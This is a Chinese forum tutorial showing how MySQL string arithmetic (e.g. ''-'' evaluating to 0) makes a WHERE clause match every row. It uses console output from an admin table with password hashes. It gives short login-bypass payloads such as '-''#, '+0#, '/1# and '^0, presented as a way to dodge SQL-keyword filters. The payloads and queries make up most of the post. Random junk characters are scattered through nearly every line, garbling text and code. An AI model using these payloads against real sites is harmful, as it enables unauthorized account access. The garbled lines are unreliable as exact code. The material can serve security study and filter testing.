找回密码
 立即注册
查看: 2940|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。% r. Q* I3 h7 }1 t- _& n! S4 p
有以下表结构: 8 u$ k( J8 A! M4 L' @

- d: j. M) @5 m- _2 c6 |, Zmysql> desc admin;
$ G+ a( a/ X# O( d) G' j0 O+----------+--------------+------+-----+---------+----------------+; Z9 f7 t, j1 n) R
| Field    | Type         | Null | Key | Default | Extra          |3 `" m1 l# k0 i1 ^, l! E. q/ e
+----------+--------------+------+-----+---------+----------------+1 u/ e# R7 x; g5 x& H
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
  ?' E) X. {  _- e% W5 G| name     | char(32)     | NO   | UNI | NULL    |                |; q, r! t1 k% ]1 V( Z. t
| password | char(32)     | NO   | UNI | NULL    |                |: w1 n7 t6 M5 W/ H  t/ a
+----------+--------------+------+-----+---------+----------------+
& f" u. w# k( B2 A5 U3 rows in set (0.00 sec)7 \- g; c" c* O8 @6 O
执行select * from admin;,成功返回所有记录内容。/ W+ v( z- P( ~9 d# h: e
! F1 K$ J5 `* ~
8 u- m9 c" b' R/ Q: P' P
+----+--------+----------------------------------+
: I' T' K* v  U| id | name   | password                         |7 n$ N5 w2 F  _. R) `
+----+--------+----------------------------------+
. v1 ?3 |) I  C+ i+ u|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
* E4 M8 u% i% K! ]9 l1 ?2 _# G$ D6 x|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |1 w* T0 R/ M& u0 G% q
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
  f3 e4 ?4 m6 d0 O+----+--------+----------------------------------+
- Q0 K" y4 M; ]0 c+ R, b7 O8 w3 rows in set (0.00 sec)( d: q1 c0 Y  Z1 A, I
执行select * from admin where name=”;,没有匹配到任何记录。
- }* R8 F; f  c! K9 v
/ a  D: ^8 ?- U1 tmysql> select * from admin where name = '';& F1 P- ]' j* N9 B; ?8 s- O
Empty set (0.00 sec)" d  J- ]9 Q" g0 f$ m2 a
那么我们来执行select * from admin where name = ”-”;/ z- x8 B* R: W7 T# U

: B; Q; @+ h) Z- W/ X, D1 L' @7 c3 \+ e
+----+--------+----------------------------------+
  Z% g- _! E: i$ B| id | name   | password                         |
$ ?1 }8 b7 r1 T, P- {( X% h+----+--------+----------------------------------+
0 x6 Z4 M6 X3 f0 o+ u|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
+ h# i- D% E' d" L+ A$ r|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* b) C0 R, X: z* a+ x: f1 J7 y+ D|  4 | n00b   | ff80e8508d39047460921792273533a4 |% P9 x3 ^! H  H4 u5 m
+----+--------+----------------------------------+
5 z, y+ _1 |1 V3 rows in set, 3 warnings (0.00 sec)
+ V2 M9 q- W* h. L: ~) `& ]9 Z; ]& r可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
  k# q4 K7 k" e$ A" B9 C6 T  j  S
mysql> show warnings;
6 X  K* a( Q( \* I" [+---------+------+------------------------------------------! S0 |9 @+ _1 U
| Level   | Code | Message# N' i# Q  m" c, I  a5 K
+---------+------+------------------------------------------
& e# w8 B/ q+ a) c| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! n& p- b7 W6 d4 T+ M
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s0 `' R- ?4 z. z% {: O7 \2 j
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
& Y5 c# C5 C$ N+ k( g; C+---------+------+------------------------------------------
5 r3 C0 o4 O* J/ {$ D, q' d$ W3 rows in set (0.00 sec)  W- d0 `6 e2 m
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。   p: Y# y+ m& u: G

! @. ~( c# r& Y3 f8 j% f/ ~mysql> select ''-'';
- \" Z! ?1 ^' \& Q% H' b) S+-------+
* s: z; F0 E, }0 m6 C& a- r| ''-'' |. J% Q( ~0 c' J
+-------+4 b4 ^4 m3 ~* Z" |: _
|     0 |: y* C- r5 z2 {( _" p3 p% W
+-------+2 Q% l$ s- l/ I' b- M/ B
1 row in set (0.00 sec)7 k  {) \" P( M; B" D: _( A9 ^% }# b$ ~
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: : H, g# o/ g5 L! p+ R) p
3 O0 n, y/ E( |/ h5 W5 `0 W
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
9 K0 ^- \+ {. a+-----------------------------------------------------+( o' w' S9 e8 T2 Y) i0 b/ |3 `6 j
| CAST((select name from admin limit 1,1) as DECIMAL) |& i# d) B2 s8 x/ c
+-----------------------------------------------------+
. Z  z, v% H0 I/ G' @' o|                                                   0 |
. K# `& x- p( E9 D8 K. h# |3 D2 g+-----------------------------------------------------+
+ w! J* r+ t9 S. B& k$ w, M7 q0 ^1 row in set, 1 warning (0.00 sec)+ w- t4 ~& o5 a. }0 W
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
& [. P/ B. H% L9 X9 u5 N2 \! ?! W# H5 d6 _% ?9 y
SQL注入场景: http://www.sqlzoo.net/hack/   K6 [! J$ u- f6 ~0 j+ n: h
1 `) k' Q& P. u' G, S
4 O% V9 O+ f/ W; L

$ p6 V  c' K: B+ s5 _5 v% C3 L8 }$ R+ |
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
6 R! `2 ~" i! Y3 R3 K9 Q4 G+ U6 N3 Z
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
# S0 v6 d7 ?! b  \/ d/ J% W% f( f

9 ~2 H; H% z0 H" z+ G" a  x; a8 M6 a! w
0 }; u( K& l6 N& p
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
8 g1 l9 a$ }8 P) p# m; v% z6 R  M5 @+ b& w  M
   
" o- }. b1 ?0 z$ U( D
) @, a- ^$ j8 u2 \除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
- q- N2 F" e/ U* J& r+ @- Q$ V3 K; I5 f5 i$ n

/ t6 q4 j: n% l! f. Q* A0 C& w' emysql> select ''/1;
, `8 l/ `) N  O6 u" d, Y+------+
: \1 d3 o( }# l! g: S| ''/1 |+ T3 O% w- y# e- w/ P0 Y- S  `# g
+------+
, |$ N2 q6 p) C2 l" F" X9 a" ?! S% C|    0 |8 r' a, h! l% U/ C# M' n6 q
+------+
4 d7 [, D( x, t/ F5 \+ V( b1 row in set (0.00 sec)8 T; C( M2 E" ^% j( t
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  2 v' v/ W, ?7 C9 y
+ h$ @+ B0 t/ U+ n
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。) J& w5 O" o. X2 E# T) [, P- q5 \' I9 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表